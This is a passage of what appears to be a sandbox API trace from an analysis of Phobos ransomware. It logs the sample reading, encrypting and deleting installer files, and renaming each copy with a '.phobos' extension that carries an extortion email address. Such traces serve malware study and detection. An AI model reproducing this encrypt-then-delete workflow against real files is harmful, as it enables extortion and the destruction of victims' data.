| out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xeda0, lpOverlapped=0x0) returned 1 [0048.131] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0048.131] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.131] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0048.131] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0048.131] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0048.131] CryptDestroyKey (hKey=0x10ce30) returned 1 [0048.131] CloseHandle (hObject=0x318) returned 1 [0048.131] CloseHandle (hObject=0x31c) returned 1 [0048.132] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0048.133] SetEvent (hEvent=0x2e8) returned 1 [0048.134] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.134] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.134] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3069) returned 1 [0048.134] CloseHandle (hObject=0x31c) returned 1 [0048.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0048.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.134] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.134] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.134] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.134] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.134] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0048.134] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.134] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xbfd, lpOverlapped=0x0) returned 1 [0048.136] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc00, dwBufLen=0xc00 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc00) returned 1 [0048.136] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xc00, lpOverlapped=0x0) returned 1 [0048.137] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1b0) returned 1 [0048.137] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.137] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.137] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0048.137] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.137] CryptDestroyKey (hKey=0x10ce30) returned 1 [0048.137] CloseHandle (hObject=0x31c) returned 1 [0048.137] CloseHandle (hObject=0x318) returned 1 [0048.138] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0048.139] SetEvent (hEvent=0x2e8) returned 1 [0048.139] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.139] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.139] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=79996) returned 1 [0048.139] CloseHandle (hObject=0x318) returned 1 [0048.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0048.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.139] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.139] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.140] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.140] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.140] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0048.140] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.140] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1387c, lpOverlapped=0x0) returned 1 [0048.141] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x13880, dwBufLen=0x13880 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x13880) returned 1 [0048.142] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x13880, lpOverlapped=0x0) returned 1 [0048.148] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cab0) returned 1 [0048.148] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.148] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0048.148] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.148] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0048.149] CryptDestroyKey (hKey=0x10ce30) returned 1 [0048.149] CloseHandle (hObject=0x318) returned 1 [0048.149] CloseHandle (hObject=0x31c) returned 1 [0048.150] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0048.152] SetEvent (hEvent=0x2e8) returned 1 [0048.152] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.152] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.152] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=201796) returned 1 [0048.152] CloseHandle (hObject=0x31c) returned 1 [0048.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0048.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.152] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.152] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.152] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.152] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.153] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0b0) returned 1 [0048.153] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.153] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x31444, lpOverlapped=0x0) returned 1 [0048.519] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x31450, dwBufLen=0x31450 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x31450) returned 1 [0048.519] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x31450, lpOverlapped=0x0) returned 1 [0048.522] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0048.522] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.522] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0048.522] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.522] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0048.522] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0048.522] CloseHandle (hObject=0x31c) returned 1 [0048.522] CloseHandle (hObject=0x318) returned 1 [0048.526] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0048.528] SetEvent (hEvent=0x2e8) returned 1 [0048.529] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.529] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.530] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3628) returned 1 [0048.530] CloseHandle (hObject=0x318) returned 1 [0048.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0048.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.530] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.530] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.530] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb30) returned 1 [0048.530] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.530] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xe2c, lpOverlapped=0x0) returned 1 [0048.532] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xe30, dwBufLen=0xe30 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xe30) returned 1 [0048.532] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xe30, lpOverlapped=0x0) returned 1 [0048.532] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0048.533] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.533] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.533] CryptDestroyKey (hKey=0x10d170) returned 1 [0048.533] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.533] CryptDestroyKey (hKey=0x10cb30) returned 1 [0048.533] CloseHandle (hObject=0x318) returned 1 [0048.533] CloseHandle (hObject=0x31c) returned 1 [0048.533] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0048.534] SetEvent (hEvent=0x2e8) returned 1 [0048.535] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.535] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.535] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=272046) returned 1 [0048.535] CloseHandle (hObject=0x31c) returned 1 [0048.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0048.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.535] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.535] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.536] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.536] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.536] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbb0) returned 1 [0048.536] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.536] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x426ae, lpOverlapped=0x0) returned 1 [0048.538] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x426b0, dwBufLen=0x426b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x426b0) returned 1 [0048.539] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x426b0, lpOverlapped=0x0) returned 1 [0048.544] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc70) returned 1 [0048.544] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.544] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0048.544] CryptDestroyKey (hKey=0x10cc70) returned 1 [0048.544] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0048.544] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0048.544] CloseHandle (hObject=0x31c) returned 1 [0048.544] CloseHandle (hObject=0x318) returned 1 [0048.549] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0048.552] SetEvent (hEvent=0x2e8) returned 1 [0048.552] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.552] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.553] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=30120) returned 1 [0048.553] CloseHandle (hObject=0x318) returned 1 [0048.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0048.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.553] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.553] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.553] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.553] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.553] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0048.553] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.553] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, 